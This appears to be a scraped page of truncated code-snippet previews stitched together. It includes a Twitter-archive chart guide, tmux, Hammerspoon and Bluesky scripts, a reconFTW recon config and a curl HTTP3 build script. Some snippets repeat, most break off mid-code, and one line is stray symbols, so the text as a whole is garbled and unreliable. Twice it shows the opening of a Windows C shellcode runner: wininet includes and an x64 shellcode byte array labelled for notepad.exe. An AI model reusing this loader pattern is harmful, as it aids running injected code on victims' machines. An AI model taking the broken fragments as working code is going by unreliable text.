Guide to producing a chart like this one.
This is a bit of a hack job, natch.
Grab your Twitter archive and extract it. You need to find data/tweet-headers.js and make a copy of it:
cp data/tweet-headers.js tweets.json
| #include <windows.h> | |
| #include <wininet.h> | |
| #include <stdio.h> | |
| #pragma comment(lib, "wininet.lib") | |
| // notepad.exe shellcode | |
| char shellcode[] = { | |
| 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, | |
| 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, |
| #include <windows.h> | |
| #include <wininet.h> | |
| #include <stdio.h> | |
| #pragma comment(lib, "wininet.lib") | |
| // notepad.exe shellcode | |
| char shellcode[] = { | |
| 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, | |
| 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, |
| -- Hammerspoon Terminal Toggle with Double-Shift | |
| -- Toggles terminal (Ghostty) visibility with double-shift keypress | |
| -- Positions terminal on right side of screen | |
| -- I use it for quick Claude Code access | |
| -- Basic Hammerspoon setup | |
| hs.hotkey.bind({"cmd", "alt", "ctrl"}, "R", function() | |
| hs.reload() | |
| hs.alert.show("Hammerspoon config reloaded") | |
| end) |
| #!/bin/bash | |
| # This script resolves a DID, retrieves an API key, fetches a user's feed, | |
| # and posts a "Hello, world" message to the user's feed. | |
| # Resolve DID for handle | |
| HANDLE='felicitas.pojtinger.com' | |
| DID_URL="https://bsky.social/xrpc/com.atproto.identity.resolveHandle" | |
| export DID=$(curl -G \ | |
| --data-urlencode "handle=$HANDLE" \ |
| # /// script | |
| # dependencies = [ | |
| # "atproto" | |
| # ] | |
| # /// | |
| from atproto import Client | |
| import getpass | |
| import time | |
Guide to producing a chart like this one.
This is a bit of a hack job, natch.
Grab your Twitter archive and extract it. You need to find data/tweet-headers.js and make a copy of it:
cp data/tweet-headers.js tweets.json
| ` | |
| ~/ | |
| ~ | |
| ×™× | |
| ___ | |
| __ | |
| _ |
| ################################################################# | |
| # reconFTW config file # | |
| ################################################################# | |
| # General values | |
| tools=~/Tools # Path installed tools | |
| SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" # Get current script's path | |
| profile_shell=".$(basename $(echo $SHELL))rc" # Get current shell profile | |
| reconftw_version=$(git rev-parse --abbrev-ref HEAD)-$(git describe --tags) # Fetch current reconftw version | |
| generate_resolvers=false # Generate custom resolvers with dnsvalidator |
| # Mostly just https://github.com/curl/curl/blob/master/docs/HTTP3.md#quiche-version | |
| # with the specific requirements for debian/kali | |
| sudo apt-get install -y git build-essential libtool libunwind-dev autoconf cmake golang cargo | |
| git clone --recursive https://github.com/cloudflare/quiche | |
| cd quiche | |
| cargo build --release --features pkg-config-meta,qlog | |
| mkdir deps/boringssl/lib | |
| ln -vnf $(find target/release -name libcrypto.a -o -name libssl.a) deps/boringssl/lib/ |
| # reload config | |
| unbind r | |
| bind-key r source-file ~/.tmux.conf \; display "Reloaded" | |
| unbind 0 | |
| bind-key 0 select-window -t :10 | |
| bind-key T resize-pane -L | |
| bind-key Y resize-pane -R | |
| bind-key U resize-pane -U |